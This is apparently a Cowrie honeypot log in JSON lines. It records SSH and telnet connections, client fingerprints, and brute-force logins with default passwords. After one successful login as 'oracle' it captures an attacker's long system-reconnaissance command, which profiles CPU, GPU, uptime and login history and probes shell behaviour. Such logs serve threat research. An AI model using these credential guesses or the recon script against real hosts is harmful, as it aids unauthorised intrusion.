{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":33360,"dst_ip":"159.203.135.109","dst_port":22,"session":"6177720021fd","protocol":"ssh","message":"New connection: 160.187.174.22:33360 (159.203.135.109:22) [session: 6177720021fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:49.218241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:49.284413Z","src_ip":"160.187.174.22","session":"6177720021fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:49.935121Z","src_ip":"160.187.174.22","session":"6177720021fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:50.657638Z","src_ip":"160.187.174.22","session":"6177720021fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:51.900042Z","src_ip":"160.187.174.22","session":"6177720021fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.86923885345459,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:56.162514Z","src_ip":"170.64.224.25","session":"24481caa5581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":42652,"dst_ip":"10.17.0.5","dst_port":22,"session":"f241a5806d09","protocol":"ssh","message":"New connection: 103.77.175.15:42652 (10.17.0.5:22) [session: f241a5806d09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:56.770267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:56.774327Z","src_ip":"103.77.175.15","session":"f241a5806d09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:57.002749Z","src_ip":"103.77.175.15","session":"f241a5806d09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"270680","message":"login attempt [root/270680] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:57.688074Z","src_ip":"103.77.175.15","session":"f241a5806d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:58.920751Z","src_ip":"103.77.175.15","session":"f241a5806d09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31454253196716,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:07.115421Z","src_ip":"170.64.224.25","session":"ed2704f9d873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.537338256835938,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:09.119526Z","src_ip":"170.64.224.25","session":"b9805725a572","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":51936,"dst_ip":"159.203.135.109","dst_port":22,"session":"894e9ecae5ae","protocol":"ssh","message":"New connection: 160.187.174.22:51936 (159.203.135.109:22) [session: 894e9ecae5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:17.377768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:17.382633Z","src_ip":"160.187.174.22","session":"894e9ecae5ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:17.646611Z","src_ip":"160.187.174.22","session":"894e9ecae5ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:18.397574Z","src_ip":"160.187.174.22","session":"894e9ecae5ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":45914,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71ed7648966","protocol":"ssh","message":"New connection: 209.99.190.113:45914 (10.17.0.5:22) [session: a71ed7648966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:18.846778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:18.851042Z","src_ip":"209.99.190.113","session":"a71ed7648966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:18.952270Z","src_ip":"209.99.190.113","session":"a71ed7648966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssword","message":"login attempt [admin/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:19.377755Z","src_ip":"209.99.190.113","session":"a71ed7648966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:19.646121Z","src_ip":"160.187.174.22","session":"894e9ecae5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:20.481179Z","src_ip":"209.99.190.113","session":"a71ed7648966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46762,"dst_ip":"159.203.135.109","dst_port":23,"session":"527b372c4b22","protocol":"telnet","message":"New connection: 170.64.224.25:46762 (159.203.135.109:23) [session: 527b372c4b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:21.879307Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47152,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90448571dd6","protocol":"telnet","message":"New connection: 170.64.224.25:47152 (159.203.135.109:23) [session: b90448571dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:29.500519Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46570,"dst_ip":"10.17.0.5","dst_port":22,"session":"81dbb19184af","protocol":"ssh","message":"New connection: 91.92.40.4:46570 (10.17.0.5:22) [session: 81dbb19184af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:31.812121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:31.815812Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:31.904575Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123321","message":"login attempt [oracle/123321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.237792Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.437166Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.439843Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.443729Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.446753Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.449207Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.452649Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.454710Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.457167Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.459946Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.464023Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.467517Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.558183Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:32.643319Z","src_ip":"91.92.40.4","session":"81dbb19184af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35188,"dst_ip":"159.203.135.109","dst_port":23,"session":"3298b7ef7935","protocol":"telnet","message":"New connection: 170.64.224.25:35188 (159.203.135.109:23) [session: 3298b7ef7935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:39.041337Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":49854,"dst_ip":"159.203.135.109","dst_port":22,"session":"a45f497d7dd4","protocol":"ssh","message":"New connection: 160.187.174.22:49854 (159.203.135.109:22) [session: a45f497d7dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:45.073836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:45.078079Z","src_ip":"160.187.174.22","session":"a45f497d7dd4","protocol":"ssh"}
